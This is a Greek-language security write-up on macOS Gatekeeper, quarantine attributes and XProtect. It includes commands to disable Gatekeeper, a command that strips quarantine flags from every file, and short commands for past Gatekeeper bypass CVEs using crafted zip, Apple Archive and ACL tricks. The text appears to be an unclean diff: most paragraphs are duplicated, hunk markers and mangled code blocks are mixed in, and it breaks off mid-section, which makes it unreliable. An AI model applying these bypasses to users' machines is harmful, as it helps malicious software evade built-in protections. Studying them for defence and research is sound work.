Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες εφαρμογές macOS όπως περιηγητές ιστού ή προγράμματα ηλεκτρονικού ταχυδρομείου **επισυνάπτουν ένα επεκτεινόμενο χαρακτηριστικό αρχείου**, γνωστό ως "**σημαία καραντίνας**," στο κατεβασμένο αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **επισημάνει το αρχείο** ως προερχόμενο από μη έμπιστη πηγή (το διαδίκτυο) και πιθανώς να φέρει κινδύνους. Ωστόσο, όχι όλες οι εφαρμογές επισυνάπτουν αυτό το χαρακτηριστικό, για παράδειγμα, τα κοινά προγράμματα πελατών BitTorrent συνήθως παρακάμπτουν αυτήν τη διαδικασία.
Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες εφαρμογές του macOS, όπως οι περιηγητές ιστού ή οι πελάτες ηλεκτρονικού ταχυδρομείου, **προσθέτουν ένα επεκτεινόμενο χαρακτηριστικό αρχείου**, γνωστό ως "**σημαία καραντίνας**", στο κατεβασμένο αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **επισημάνει το αρχείο** ως προερχόμενο από μη έμπιστη πηγή (το διαδίκτυο) και πιθανώς να φέρει κινδύνους. Ωστόσο, όχι όλες οι εφαρμογές προσθέτουν αυτό το χαρακτηριστικό, για παράδειγμα, οι συνηθισμένοι πελάτες BitTorrent παρακάμπτουν συνήθως αυτήν τη διαδικασία.
**Η παρουσία μιας σημαίας καραντίνας ειδοποιεί το χαρακτηριστικό ασφαλείας Gatekeeper του macOS όταν ο χρήστης προσπαθεί να εκτελέσει το αρχείο**.
**Η παρουσία της σημαίας καραντίνας ενημερώνει το χαρακτηριστικό ασφαλείας Gatekeeper του macOS όταν ο χρήστης προσπαθεί να εκτελέσει το αρχείο**.
Στην περίπτωση που **η σημαία καραντίνας δεν είναι παρούσα** (όπως στα αρχεία που λήφθηκαν μέσω ορισμένων πελατών BitTorrent), οι ελέγχοι του Gatekeeper **μπορεί να μην πραγματοποιηθούν**. Επομένως, οι χρήστες πρέπει να είναι προσεκτικοί όταν ανοίγουν αρχεία που έχουν ληφθεί από λιγότερο ασφαλείς ή άγνωστες πηγές.
Στην περίπτωση όπου η **σημαία καραντίνας δεν είναι παρούσα** (όπως με αρχεία που λήφθηκαν μέσω ορισμένων πελατών BitTorrent), οι **έλεγχοι του Gatekeeper ενδέχεται να μην πραγματοποιηθούν**. Έτσι, οι χρήστες πρέπει να είναι προσεκτικοί όταν ανοίγουν αρχεία που έχουν ληφθεί από λιγότερο ασφαλείς ή άγνωστες πηγές.
{% hint style="info" %}
Ο **έλεγχος** της **εγκυρότητας** των υπογραφών κώδικα είναι μια διαδικασία που απαιτεί πολλούς πόρους και περιλαμβάνει τη δημιουργία κρυπτογραφικών **κατακερματισμών** του κώδικα και όλων των συνοδευτικών πόρων του. Επιπλέον, ο έλεγχος της εγκυρότητας του πιστοποιητικού περιλαμβάνει μια **διαδικτυακή έλεγχο** στους διακομιστές της Apple για να δει αν έχει ανακληθεί μετά την έκδοσή του. Για αυτούς τους λόγους, ο πλήρης έλεγχος της υπογραφής κώδικα και της επικύρωσης δεν είναι **πρακτικός για να εκτελείται κάθε φορά που εκκινείται μια εφαρμογή**.
**Η επαλήθευση** της **εγκυρότητας** των υπογραφών κώδικα είναι μια **επεξεργασία που απαιτεί πολλούς πόρους** και περιλαμβάνει τη δημιουργία κρυπτογραφικών **κατακερματισμών** του κώδικα και όλων των συσκευασμένων πόρων του. Επιπλέον, η επαλήθευση της εγκυρότητας του πιστοποιητικού περιλαμβάνει μια **διαδικτυακή έλεγχο** στους διακομιστές της Apple για να δει αν έχει ανακληθεί μετά την έκδοσή του. Για αυτούς τους λόγους, ο πλήρης έλεγχος υπογραφής κώδικα και επικύρωσης δεν είναι **εφικτός να εκτελείται κάθε φορά που εκκινείται μια εφαρμογή**.
Για αυτόν τον λόγο, αυτοί οι έλεγχοι **εκτελούνται μόνο όταν εκτελούνται εφαρμογές με το χαρακτηριστικό καραντίνας**.
Για τον λόγο αυτό, αυτοί οι έλεγχοι **εκτελούνται μόνο κατά την εκτέλεση εφαρμογών με το χαρακτηριστικό καραντίνας**.
{% endhint %}
{% hint style="warning" %}
Αυτό το χαρακτηριστικό πρέπει να **ορίζεται από την εφαρμογή που δημιουργεί/κατεβάζει** το αρχείο.
Ωστόσο, τα αρχεία που είναι απομονωμένα θα έχουν αυτό το χαρακτηριστικό ορισμένο σε κάθε αρχείο που δημιουργούν. Και οι μη απομονωμένες εφαρμογές μπορούν να το ορίσουν μόνες τους ή να καθορίσουν το κλειδί [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) στο **Info.plist**, το οποίο θα κάνει το σύστημα να ορίσει το επεκτεινόμενο χαρακτηριστικό `com.apple.quarantine` στα δημιουργούμενα αρχεία.
Ωστόσο, τα αρχεία που είναι σε λειτουργία άμμου θα έχουν αυτό το χαρακτηριστικό ορισμένο σε κάθε αρχείο που δημιουργούν. Και οι μη λειτουργίας άμμου εφαρμογές μπορούν να το ορίσουν μόνες τους, ή να καθορίσουν το [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) κλειδί στο **Info.plist** το οποίο θα κάνει το σύστημα να ορίσει το επεκτεινόμενο χαρακτηριστικό `com.apple.quarantine` στα αρχεία που δημιουργούν,
{% endhint %}
Είναι δυνατόν να **ελέγξετε την κατάστασή του και να ενεργοποιήσετε/απενεργοποιήσετε** (απαιτεί δικαιώματα διαχειριστή) με την εντολή:
Είναι δυνατόν να **ελέγξετε την κατάστασή του και να ενεργοποιήσετε/απενεργοποιήσετε** (απαιτείται root) με:
```bash
spctl --status
assessments enabled
@ -183,17 +177,13 @@ spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"
```
Μπορείτε επίσης να **βρείτε αν ένα αρχείο έχει το επιπλέον χαρακτηριστικό καραντίνας** με την εντολή:
Μπορείτε επίσης **να βρείτε αν ένα αρχείο έχει το χαρακτηριστικό επέκτασης καραντίνας** με:
```bash
xattr file.png
com.apple.macl
com.apple.quarantine
```
Ελέγξτε τη **τιμή** των **επεκταμένων** **χαρακτηριστικών** και βρείτε την εφαρμογή που έγραψε το χαρακτηριστικό καραντίνας με:
Ελέγξτε τη **τιμή** των **επεκταμένων** **χαρακτηριστικών** και βρείτε την εφαρμογή που έγραψε το χαρακτηριστικό καραντίνα με:
```bash
xattr -l portada.png
com.apple.macl:
@ -209,44 +199,79 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
```
Πραγματικά, ένας διεργασία "μπορεί να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (προσπάθησα να εφαρμόσω τη σημαία USER\_APPROVED σε ένα δημιουργημένο αρχείο, αλλά δεν την εφάρμοσε):
Πράγματι, ένας διεργασία "θα μπορούσε να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (προσπάθησα να εφαρμόσω τη σημαία USER_APPROVED σε ένα δημιουργημένο αρχείο αλλά δεν την εφαρμόζει):
<details>
<summary>Πηγαίος Κώδικας εφαρμογής σημαιών καραντίνας</summary>
<summary>Κώδικας Πηγής εφαρμογής σημαίες καραντίνας</summary>
```c
#include <stdio.h>
#include <stdlib.h>
\`\`\`c #include #include
enum qtn_flags {
QTN_FLAG_DOWNLOAD = 0x0001,
QTN_FLAG_SANDBOX = 0x0002,
QTN_FLAG_HARD = 0x0004,
QTN_FLAG_USER_APPROVED = 0x0040,
};
enum qtn\_flags { QTN\_FLAG\_DOWNLOAD = 0x0001, QTN\_FLAG\_SANDBOX = 0x0002, QTN\_FLAG\_HARD = 0x0004, QTN\_FLAG\_USER\_APPROVED = 0x0040, };
#define qtn_proc_alloc _qtn_proc_alloc
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
#define qtn_proc_free _qtn_proc_free
#define qtn_proc_init _qtn_proc_init
#define qtn_proc_init_with_self _qtn_proc_init_with_self
#define qtn_proc_set_flags _qtn_proc_set_flags
#define qtn_file_alloc _qtn_file_alloc
#define qtn_file_init_with_path _qtn_file_init_with_path
#define qtn_file_free _qtn_file_free
#define qtn_file_apply_to_path _qtn_file_apply_to_path
#define qtn_file_set_flags _qtn_file_set_flags
#define qtn_file_get_flags _qtn_file_get_flags
#define qtn_proc_set_identifier _qtn_proc_set_identifier
\#define qtn\_proc\_alloc \_qtn\_proc\_alloc #define qtn\_proc\_apply\_to\_self \_qtn\_proc\_apply\_to\_self #define qtn\_proc\_free \_qtn\_proc\_free #define qtn\_proc\_init \_qtn\_proc\_init #define qtn\_proc\_init\_with\_self \_qtn\_proc\_init\_with\_self #define qtn\_proc\_set\_flags \_qtn\_proc\_set\_flags #define qtn\_file\_alloc \_qtn\_file\_alloc #define qtn\_file\_init\_with\_path \_qtn\_file\_init\_with\_path #define qtn\_file\_free \_qtn\_file\_free #define qtn\_file\_apply\_to\_path \_qtn\_file\_apply\_to\_path #define qtn\_file\_set\_flags \_qtn\_file\_set\_flags #define qtn\_file\_get\_flags \_qtn\_file\_get\_flags #define qtn\_proc\_set\_identifier \_qtn\_proc\_set\_identifier
typedef struct _qtn_proc *qtn_proc_t;
typedef struct _qtn_file *qtn_file_t;
typedef struct \_qtn\_proc \*qtn\_proc\_t; typedef struct \_qtn\_file \*qtn\_file\_t;
int qtn\_proc\_apply\_to\_self(qtn\_proc\_t); void qtn\_proc\_init(qtn\_proc\_t); int qtn\_proc\_init\_with\_self(qtn\_proc\_t); int qtn\_proc\_set\_flags(qtn\_proc\_t, uint32\_t flags); qtn\_proc\_t qtn\_proc\_alloc(); void qtn\_proc\_free(qtn\_proc\_t); qtn\_file\_t qtn\_file\_alloc(void); void qtn\_file\_free(qtn\_file\_t qf); int qtn\_file\_set\_flags(qtn\_file\_t qf, uint32\_t flags); uint32\_t qtn\_file\_get\_flags(qtn\_file\_t qf); int qtn\_file\_apply\_to\_path(qtn\_file\_t qf, const char \*path); int qtn\_file\_init\_with\_path(qtn\_file\_t qf, const char _path); int qtn\_proc\_set\_identifier(qtn\_proc\_t qp, const char_ bundleid);
int qtn_proc_apply_to_self(qtn_proc_t);
void qtn_proc_init(qtn_proc_t);
int qtn_proc_init_with_self(qtn_proc_t);
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
qtn_proc_t qtn_proc_alloc();
void qtn_proc_free(qtn_proc_t);
qtn_file_t qtn_file_alloc(void);
void qtn_file_free(qtn_file_t qf);
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
uint32_t qtn_file_get_flags(qtn_file_t qf);
int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
int main() {
qtn\_proc\_t qp = qtn\_proc\_alloc(); qtn\_proc\_set\_identifier(qp, "xyz.hacktricks.qa"); qtn\_proc\_set\_flags(qp, QTN\_FLAG\_DOWNLOAD | QTN\_FLAG\_USER\_APPROVED); qtn\_proc\_apply\_to\_self(qp); qtn\_proc\_free(qp);
qtn_proc_t qp = qtn_proc_alloc();
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
qtn_proc_apply_to_self(qp);
qtn_proc_free(qp);
FILE \*fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);
FILE *fp;
fp = fopen("thisisquarantined.txt", "w+");
fprintf(fp, "Hello Quarantine\n");
fclose(fp);
return 0;
}
````
```
</details>
Και **αφαιρέστε** αυτήν την ιδιότητα με:
Και **αφαιρέστε** αυτό το χαρακτηριστικό με:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
````
Και βρείτε όλα τα καραντιναρισμένα αρχεία με:
```
Και βρείτε όλα τα αρχεία σε καραντίνα με:
{% code overflow="wrap" %}
```bash
@ -254,21 +279,21 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
```
{% endcode %}
Οι πληροφορίες της καραντίνας αποθηκεύονται επίσης σε μια κεντρική βάση δεδομένων που διαχειρίζεται η LaunchServices στο **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**.
Οι πληροφορίες καραντίνας αποθηκεύονται επίσης σε μια κεντρική βάση δεδομένων που διαχειρίζεται από το LaunchServices στο **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**.
**Quarantine.kext**
#### **Quarantine.kext**
Η επέκταση πυρήνα είναι διαθέσιμη μόνο μέσω της **προσωρινής μνήμης του πυρήνα στο σύστημα**. Ωστόσο, μπορείτε να κατεβάσετε το **Kernel Debug Kit από τη διεύθυνση https://developer.apple.com/**, το οποίο θα περιέχει μια συμβολική έκδοση της επέκτασης.
Η επέκταση πυρήνα είναι διαθέσιμη μόνο μέσω της **προσωρινής μνήμης πυρήνα στο σύστημα**. Ωστόσο, μπορείτε να κατεβάσετε το **Kernel Debug Kit από το https://developer.apple.com/**, το οποίο θα περιέχει μια συμβολοποιημένη έκδοση της επέκτασης.
#### XProtect
### XProtect
Το XProtect είναι μια ενσωματωμένη λειτουργία **αντι-κακόβουλου λογισμικού** στο macOS. Το XProtect **ελέγχει κάθε εφαρμογή όταν την εκτελέσετε για πρώτη φορά ή την τροποποιήσετε, σε σχέση με τη βάση δεδομένων του** γνωστού κακόβουλου λογισμικού και των μη ασφαλών τύπων αρχείων. Όταν κατεβάζετε ένα αρχείο μέσω ορισμένων εφαρμογών, όπως το Safari, το Mail ή το Messages, το XProtect σαρώνει αυτόματα το αρχείο. Εάν ταιριάζει με οποιοδήποτε γνωστό κακόβουλο λογισμικό στη βάση δεδομένων του, το XProtect θα **αποτρέψει την εκτέλεση του αρχείου** και θα σας ειδοποιήσει για τον κίνδυνο.
Το XProtect είναι μια ενσωματωμένη λειτουργία **αντι-κακόβουλου λογισμικού** στο macOS. Το XProtect **ελέγχει οποιαδήποτε εφαρμογή όταν εκτελείται για πρώτη φορά ή τροποποιείται έναντι της βάσης δεδομένων** του γνωστού κακόβουλου λογισμικού και ανθυγιεινών τύπων αρχείων. Όταν κατεβάζετε ένα αρχείο μέσω συγκεκριμένων εφαρμογών, όπως το Safari, το Mail ή το Messages, το XProtect σαρώνει αυτόματα το αρχείο. Αν ταιριάζει με οποιοδήποτε κακόβουλο λογισμικό στη βάση δεδομένων του, το XProtect θα **εμποδίσει το αρχείο από την εκτέλεση** και θα σας ειδοποιήσει για τον κίνδυνο.
Η βάση δεδομένων του XProtect ενημερώνεται **τακτικά** από την Apple με νέους ορισμούς κακόβουλου λογισμικού, και αυτές οι ενημερώσεις λαμβάνονται και εγκαθίστανται αυτόματα στο Mac σας. Αυτό εξασφαλίζει ότι το XProtect είναι πάντα ενημερωμένο με τις τελευταίες γνωστές απειλές.
Η βάση δεδομένων του XProtect **ενημερώνεται τακτικά** από την Apple με νέους ορισμούς κακόβουλου λογισμικού, και αυτές οι ενημερώσεις κατεβαίνουν και εγκαθίστανται αυτόματα στο Mac σας. Αυτό εξασφαλίζει ότι το XProtect είναι πάντα ενημερωμένο με τις τελευταίες γνωστές απειλές.
Ωστόσο, αξίζει να σημειωθεί ότι το **XProtect δεν είναι μια πλήρως λειτουργική λύση αντιιούστρωσης**. Ελέγχει μόνο μια συγκεκριμένη λίστα γνωστών απειλών και δεν πραγματοποιεί σάρωση κατά την πρόσβαση όπως η πλειονότητα των λογισμικών αντιιούστρωσης.
Ωστόσο, αξίζει να σημειωθεί ότι το **XProtect δεν είναι μια πλήρως εξοπλισμένη λύση αντιιών**. Ελέγχει μόνο για μια συγκεκριμένη λίστα γνωστών απειλών και δεν πραγματοποιεί σάρωση κατά την πρόσβαση όπως η πλειονότητα των λογισμικών αντιιών.
Μπορείτε να λάβετε πληροφορίες για την τελευταία ενημέρωση του XProtect εκτελώντας:
Μπορείτε να λάβετε πληροφορίες σχετικά με την τελευταία ενημέρωση του XProtect εκτελώντας:
{% code overflow="wrap" %}
```bash
@ -276,79 +301,73 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
```
{% endcode %}
Το XProtect βρίσκεται σε προστατευμένη τοποθεσία SIP στο **/Library/Apple/System/Library/CoreServices/XProtect.bundle** και μέσα στο bundle μπορείτε να βρείτε τις πληροφορίες που χρησιμοποιεί το XProtect:
Το XProtect βρίσκεται σε προστατευμένη τοποθεσία SIP στο **/Library/Apple/System/Library/CoreServices/XProtect.bundle** και μέσα στο bundle μπορείτε να βρείτε πληροφορίες που χρησιμοποιεί το XProtect:
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Επιτρέπει στον κώδικα με αυτά τα cdhashes να χρησιμοποιεί παλαιές εξουσιοδοτήσεις.
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Λίστα προσθέτων και επεκτάσεων που δεν επιτρέπεται να φορτωθούν μέσω του BundleID και TeamID ή που υποδεικνύουν μια ελάχιστη έκδοση.
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Κανόνες Yara για την ανίχνευση κακόβουλου λογισμικού.
* **`XProtect.bundle/Contents/Resources/gk.db`**: Βάση δεδομένων SQLite3 με κατακερματισμένες εφαρμογές και TeamIDs που έχουν αποκλειστεί.
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Επιτρέπει σε κώδικα με αυτά τα cdhashes να χρησιμοποιούν παλαιές εξουσιοδοτήσεις.
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Λίστα με plugins και επεκτάσεις που απαγορεύεται να φορτωθούν μέσω του BundleID και TeamID ή ενδεικτικός ελάχιστος αριθμός έκδοσης.
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Κανόνες Yara για τον εντοπισμό κακόβουλου λογισμικού.
- **`XProtect.bundle/Contents/Resources/gk.db`**: Βάση δεδομένων SQLite3 με κατακερματισμένες εφαρμογές και TeamIDs που έχουν αποκλειστεί.
Σημειώστε ότι υπάρχει μια άλλη εφαρμογή στο **`/Library/Apple/System/Library/CoreServices/XProtect.app`** που σχετίζεται με το XProtect και δεν συμμετέχει στη διαδικασία του Gatekeeper.
#### Όχι Gatekeeper
### Όχι Gatekeeper
Σημειώστε ότι το Gatekeeper **δεν εκτελείται κάθε φορά** που εκτελείτε μια εφαρμογή, απλώς ο _**AppleMobileFileIntegrity**_ (AMFI) θα επιβεβαιώσει μόνο τις υπογραφές του εκτελέσιμου κώδικα όταν εκτελείτε μια εφαρμογή που έχει ήδη εκτελεστεί και επιβεβαιωθεί από το Gatekeeper.
{% hint style="danger" %}
Σημειώστε ότι ο Gatekeeper **δεν εκτελείται κάθε φορά** που εκτελείτε μια εφαρμογή, μόνο το _**AppleMobileFileIntegrity**_ (AMFI) θα ελέγξει μόνο τις **υπογραφές εκτελέσιμου κώδικα** όταν εκτελέσετε μια εφαρμογή που έχει ήδη εκτελεστεί και ελεγχθεί από το Gatekeeper.
{% endhint %}
Επομένως, προηγουμένως ήταν δυνατό να εκτελεστεί μια εφαρμογή για να την κρυφτεί με το Gatekeeper, στη συνέχεια να **τροποποιηθούν μη εκτελέσιμα αρχεία της εφαρμογής** (όπως τα αρχεία Electron asar ή NIB) και αν δεν υπήρχαν άλλες προστασίες, η εφαρμογή εκτελούνταν με τις **κακόβουλες** προσθήκες.
Συνεπώς, παλαιότερα ήταν δυνατό να εκτελεστεί μια εφαρμογή για να την αποθηκεύσετε στη μνήμη cache με το Gatekeeper, στη συνέχεια **να τροποποιήσετε μη εκτελέσιμα αρχεία της εφαρμογής** (όπως αρχεία Electron asar ή NIB) και αν δεν υπήρχαν άλλες προστασίες, η εφαρμογή εκτελούνταν με τις **κακόβουλες** προσθήκες.
Ωστόσο, τώρα αυτό δεν είναι δυνατό επειδή το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα στα πακέτα των εφαρμογών. Έτσι, αν προσπαθήσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι δεν είναι πλέον δυνατή η κατάχρησή της επειδή μετά την εκτέλεση της εφαρμογής για να την κρυφτεί με το Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το πακέτο. Και αν αλλάξετε, για παράδειγμα, το όνομα του καταλόγου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε τον κύριο δυαδικό της εφαρμογής για να την κρυφτεί με το Gatekeeper, θα προκαλέσει ένα σφάλμα και δεν θα εκτελεστεί.
Ωστόσο, τώρα αυτό δεν είναι δυνατό επειδή το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα στα bundles των εφαρμογών. Έτσι, αν δοκιμάσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι πλέον δεν είναι δυνατό να την εκμεταλλευτείτε επειδή μετά την εκτέλεση της εφαρμογής για να την αποθηκεύσετε στη μνήμη cache με το Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το bundle. Και αν αλλάξετε, για παράδειγμα, το όνομα του φακέλου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε το κύριο δυαδικό αρχείο της εφαρμογής για να την αποθηκεύσετε στη μνήμη cache με το Gatekeeper, θα προκαλέσει ένα σφάλμα και δεν θα εκτελεστεί.
### Παράκαμψη του Gatekeeper
## Παρακάμψεις του Gatekeeper
Οποιοδήποτε τρόπος παράκαμψης του Gatekeeper (καταφέρνοντας να κάνετε τον χρήστη να κατεβάσει και να εκτελέσει κάτι όταν ο Gatekeeper θα έπρεπε να το απαγορεύσει) θεωρείται ευπάθεια στο macOS. Αυτά είναι μερικά CVE που έχουν ανατεθεί σε τεχνικές που επέτρεπαν την παράκαμψη του Gatekeeper στο παρελθόν:
Οποιαδήποτε μέθοδος για την παράκαμψη του Gatekeeper (καταφέρνοντας να κάνετε τον χρήστη να κατεβάσει κάτι και να το εκτελέσει όταν ο Gatekeeper θα έπρεπε να το απορρίψει) θεωρείται μια ευπάθεια στο macOS. Αυτά είναι μερικά CVEs που ανατέθηκαν σε τεχνικές που επέτρεπαν την παράκαμψη του Gatekeeper στο παρελθόν:
#### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
Παρατηρήθηκε ότι εάν χρησιμοποιηθεί το **Archive Utility** για την αποσυμπίεση, τα αρχεία με **μονοπάτια που υπερβαίνουν τους 886 χαρακτήρες** δεν λαμβάνουν το επεκτεινόμενο χαρακτηριστικό com.apple.quarantine. Αυτή η κατάσταση επιτρέπει κατά λάθος σε αυτά τα αρχεία να **παρακάμψουν τους έλεγχους ασφαλείας** του Gatekeeper.
Παρατηρήθηκε ότι εάν χρησιμοποιηθεί το **Archive Utility** για την εξαγωγή, τα αρχεία με **μονοπάτια που υπερβαίνουν τους 886 χαρακτήρες** δεν λαμβάνουν το επεκτεινόμενο χαρακτηριστικό com.apple.quarantine. Αυτή η κατάσταση επιτρέπει απρόθεστα σε αυτά τα αρχεία να **παρακάμψουν τους ελέγχους ασφαλείας του Gatekeeper**.
Ελέγξτε την [**αρχική αναφορά**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) για περισσότερες πληροφορίες.
#### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
Όταν δημιουργείται μια εφαρμογή με το **Automator**, οι πληροφορίες για το τι χρειάζεται να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλώς ένα γενικό δυαδικό του Automator που ονομάζεται **Automator Application Stub**.
Όταν δημιουργείται μια εφαρμογή με το **Automator**, οι πληροφορίες σχετικά με το τι χρειάζεται για να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλώς ένα γενικό δυαδικό αρχείο Automator που ονομάζεται **Automator Application Stub**.
Επομένως, μπορείτε να κάνετε το `application.app/Contents/MacOS/Automator\ Application\ Stub` **να δείχνει με ένα συμβολικό σύνδεσμο σε ένα άλλο Automator Application Stub μέσα στο σύστημα** και θα εκτελεί αυτό που βρίσκεται μέσα στο `document.wflow` (το σενάριό σας) **χωρίς να ενεργοποιεί τον Gatekeeper** επειδή το πραγματικό εκτελέσιμο δεν έχει το quarantine xattr.
Συνεπώς, θα μπορούσατε να κάνετε το `application.app/Contents/MacOS/Automator\ Application\ Stub` **να δείχνει με ένα συμβολικό σύνδεσμο σε ένα άλλο Automator Application Stub μέσα στο σύστημα** και θα εκτελεί αυτό που βρίσκεται μέσα στο `document.wflow` (το σενάριό σας) **χωρίς να ενεργοποιεί το Gatekeeper** επειδή το πραγματικό εκτελέσιμο δεν έχει το quarantine xattr.
Παράδειγμα αναμενόμενης τοποθεσίας: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
Ελέγξτε την [**αρχική αναφορά**](https://ronmasas.com/posts/bypass-macos-gatekeeper) για περισσότερες πληροφορίες.
#### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
Σε αυτήν την παράκαμψη δημιουργήθηκε ένα αρχείο zip με μια εφαρμογή που ξεκινά τη συμπίεση από το `application.app/Contents` αντί για το `application.app`. Επομένως, το **χαρακτηριστικό καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, που ήταν αυτό που ελέγχονταν από
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
Σε αυτή την παράκαμψη δημιουργήθηκε ένα αρχείο zip με μια εφαρμογή που ξεκινά τη συμπίεση από το `application.app/Contents` αντί για το `application.app`. Έτσι, το **χαρακτηριστικό καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, το οποίο ελέγχετο από το Gatekeeper, οπότε το Gatekeeper παρακάμφθηκε επειδή όταν εκτελέστηκε το `application.app` **δεν είχε το χαρακτηριστικό καραντίνας.**
```bash
zip -r test.app/Contents test.zip
```
Ελέγξτε την [**αρχική αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) για περισσότερες πληροφορίες.
#### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
Ακόμα κι αν οι συστατικές είναι διαφορετικές, η εκμετάλλευση αυτής της ευπάθειας είναι πολύ παρόμοια με την προηγούμενη. Σε αυτήν την περίπτωση, θα δημιουργήσουμε ένα Apple Archive από το **`application.app/Contents`**, έτσι ώστε το **`application.app` να μην λάβει το χαρακτηριστικό καραντίνας** όταν αποσυμπιέζεται από το **Archive Utility**.
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
Ακόμα και αν τα στοιχεία είναι διαφορετικά, η εκμετάλλευση αυτής της ευπάθειας είναι πολύ παρόμοια με την προηγούμενη. Σε αυτήν την περίπτωση θα δημιουργήσουμε ένα Apple Archive από το **`application.app/Contents`** έτσι ώστε το **`application.app` να μην λάβει το χαρακτηριστικό καραντίνας** όταν αποσυμπιέζεται από το **Archive Utility**.
```bash
aa archive -d test.app/Contents -o test.app.aar
```
Ελέγξτε την [**αρχική αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) για περισσότερες πληροφορίες.
#### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
Το ACL **`writeextattr`** μπορεί να χρησιμοποιηθεί για να αποτρέψει οποιονδήποτε από το να γράψει ένα χαρακτηριστικό σε ένα αρχείο:
```bash
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
Επιπλέον, η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του.
Επιπλέον, η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβάνοντας τις ACEs του.
Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατό να δούμε ότι η αναπαράσταση κειμένου του ACL που αποθηκεύεται μέσα στο xattr με το όνομα **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπιέσετε μια εφαρμογή σε ένα αρχείο zip με τη μορφή αρχείου **AppleDouble** και έχετε ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr της καραντίνας δεν θα οριστεί στην εφαρμογή:
{% code overflow="wrap" %}
